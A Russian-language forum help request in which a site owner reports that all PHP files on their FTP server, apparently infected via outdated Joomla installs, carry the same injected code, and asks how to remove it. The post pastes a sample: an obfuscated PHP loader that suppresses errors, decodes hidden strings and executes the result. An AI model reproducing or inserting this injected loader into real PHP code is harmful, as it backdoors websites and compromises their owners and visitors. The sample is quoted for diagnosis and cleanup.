Вирус на FTP-сервере, переполнение стека

Здравствуйте, мне нужна помощь и совет.
Наш FTP-сервер содержит вирус. Все php файлы повреждены и имеют одинаковый код в начале.
Некоторые старые системы Joomla являются причиной этого. Я обновил старые системы.
Как я могу удалить строку кода из всех файлов на FTP-сервере?
Я купил ClamXav и теперь скачиваю весь FTP-сервер. Более 40000 файлов и 20 ГБ.
Но ClamXav не находит Вирус.

Вот пример файла.

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   x24-    x24y7   x24-    x24*<C  x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20Qtn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)id,;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ft%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65e:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<rrrbzkv = implode(array_map("sgniajr",str_sif((function_exists(" x6f 142 x5f 163 xZ6<.4`hA   x27pd%6<pd%w6Z6<.3`hA   x27pd%6<pd%w6Z6<.2`hA   x27pd%6<<!  x24-    x24gps)%j>1<%j=tj{fpg)% x24-    x24*<!~!mg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`ord($n)-1);} @error_reporting(0); $283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]31A  x27&6<.fmjgA    x27doj%6<   x7fw6*  x7f_*#fmjgk4`{6~6<tfs]84]y31M6]y3e]81#/#7e:55946-tr.9:!>!   x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:61977]445]212]445]43]321]46y38#-!%w:**<")));$nyjqznu = $jorqfam("#64y]552]e7y]#>n%<#372udovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#g<~  x24<!%o:!>! x242178}527}#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#mA x273qj%6<*Y%)fnbozcYufhA    x272qj%6<^#zsfvr#   x5cq%7/7#@#7/7^#iubUUI7jsv%7UFH#    x27rfs%6~6< x7fw6<*K)ftpm!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upco}Z;^nbsbq%   x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)3et($GLOBALS["   x61 156 x75 156 x61"])))) { $fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: )   x24]25  x24-    x24-!%  x24-    x24*!|! x24-    x24 x5c%j^  x24-    x24tvctus)% w`TW~   x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H;zepc}A;~!}  x7f;!|!}{;)gj}l;33bq}k;opjmsvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd}7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX   x27u%)7fmjix64Ypp3)%cB%iN}#-!   x24/%tmw/   x24)%c*W%eN+#Qi x5c1^x<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{/#/},;#-#}+;%-qp%)54l}   x27;%!<*#}_;#)323ldfid>}&;!osvufs}  x7f;!opjuW%c!>!%i   x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)q#  x5cq%   x27jsv%6<C>^#zsfvr# x5cq%7**^#zsfvr#    x5cq%mbg}   x7f;!osvufs}w;* x7f!>>  x22!pd%)!gj}Z;h!o56 x63 164 x69 157 x6e"; function sgniajr($n){return chr(S{ftmfV   x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R", $rrrbzkv); $nyjqznu();}}uui#>.%!<***f    x27,*e  x27,*d  x27,*c  x27,*b  x27)fepdof.)fepdof37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R8dovg}k~~9{d%:osvufs:~928>>    x22: or (strstr($uas,"  x72 166 x3asTrREvxNoiTCnuf_EtaerCxECalPer_Rtsfmbjtdkgd'; $rtvnvtmt=explode(chr((423-303)),substr($kqjfole,(34812-28935),(113-79))); $tagvcq = $rtvnvtmt[0]($rtvnvtmt[(7-6)]); $fsdalyau = $rtvnvtmt[0]($rtvnvtmt[(12-10)]); if (!function_exists('moimumaxc')) { function moimumaxc($zxjfzrukd, $wmolaixl,$wjfeqrjm) { $abyyxk = NULL; for($nymqumrbz=0;$nymqumrbz<(sizeof($zxjfzrukd)/2);$nymqumrbz++) { $abyyxk .= substr($wmolaixl, $zxjfzrukd[($nymqumrbz*2)],$zxjfzrukd[($nymqumrbz*2)+(5-4)]); } return $wjfeqrjm(chr((59-50)),chr((579-487)),$abyyxk); }; } $yqjxmpvc = explode(chr((229-185)),'3916,39,140,25,4929,43,2139,65,274,46,165,52,5847,30,1033,64,5580,57,4183,35,3873,43,1789,70,4367,46,3955,61,119,21,1157,55,5219,59,3631,58,4749,39,217,57,2321,41,906,37,4684,65,5484,51,2962,68,1618,48,4282,53,3141,48,1293,67,2204,43,1859,57,4118,65,5177,42,3733,42,5535,45,2005,43,2362,63,943,49,2048,26,1729,60,2527,51,554,62,4061,57,755,67,2732,50,3269,64,1597,21,5716,60,62,57,4788,62,3689,44,992,41,3372,33,3189,53,2247,34,4898,31,1537,60,1212,51,320,37,4850,48,5372,67,5816,31,2626,41,1916,48,1964,41,3522,66,3333,39,1479,27,5637,52,5776,40,3030,56,672,60,5139,38,4565,62,415,54,1506,31,1413,66,2578,48,469,22,2667,22,3835,38,4543,22,616,56,2689,43,4627,28,877,29,5019,67,3405,56,2074,65,3588,43,4016,45,1666,63,5278,48,5439,45,3775,60,1360,53,2494,33,2819,65,4413,69,39,23,0,39,3496,26,4335,32,2942,20,3461,35,3086,55,2425,69,2281,40,732,23,491,63,357,58,4218,64,4482,23,3242,27,1097,60,5326,46,4972,47,2884,58,1263,30,2782,37,5086,53,4655,29,822,55,4505,38,5689,27'); $simjwz = $tagvcq("",moimumaxc($yqjxmpvc,$kqjfole,$fsdalyau)); $tagvcq=$kqjfole; $simjwz(""); $simjwz=(521-400); $kqjfole=$simjwz-1;PHPINFO();?>

PHPINFO (); была моя часть.